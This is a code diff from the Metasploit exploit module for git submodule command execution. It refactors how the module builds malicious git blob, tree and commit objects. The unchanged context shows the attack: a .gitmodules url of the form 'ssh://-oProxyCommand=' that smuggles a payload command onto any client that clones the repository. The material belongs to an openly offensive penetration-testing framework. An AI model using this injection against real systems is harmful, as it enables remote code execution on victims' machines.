add git mixin changes and usage in git exploits

modules/exploits/multi/http/git_submodule_command_exec.rb

@@ -91,29 +91,29 @@ class MetasploitModule < Msf::Exploit::Remote
 path = #{submodule_path}
 url = ssh://-oProxyCommand=#{payload_cmd}/
 "
-    sha1, content = build_blob_object(gitmodules)
-    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+    blob_obj = Msf::Exploit::Git::GitObject.build_blob_object(gitmodules)
+    @repo_data[:git][:files]["/objects/#{blob_obj.path}"] = blob_obj.compressed
 
     tree_entries = [
       {
         mode: '100644',
         file_name: '.gitmodules',
-        sha1: sha1
+        sha1: blob_obj.sha1
       },
       {
         mode: '160000',
         file_name: submodule_path,
-        sha1: sha1
+        sha1: blob_obj.sha1
       }
     ]
 
-    sha1, content = build_tree_object(tree_entries)
-    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+    tree_obj = Msf::Exploit::Git::GitObject.build_tree_object(tree_entries)
+    @repo_data[:git][:files]["/objects/#{tree_obj.path}"] = tree_obj.compressed
 
-    sha1, content = build_commit_object(nil, nil, sha1)
-    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+    commit_obj = Msf::Exploit::Git::GitObject.build_commit_object(tree_obj.sha1)
+    @repo_data[:git][:files]["/objects/#{commit_obj.path}"] = commit_obj.compressed
     @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
-    @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
+    @repo_data[:git][:files]['/info/refs'] = "#{commit_obj.sha1}\trefs/heads/master\n"
   end
 
   def exploit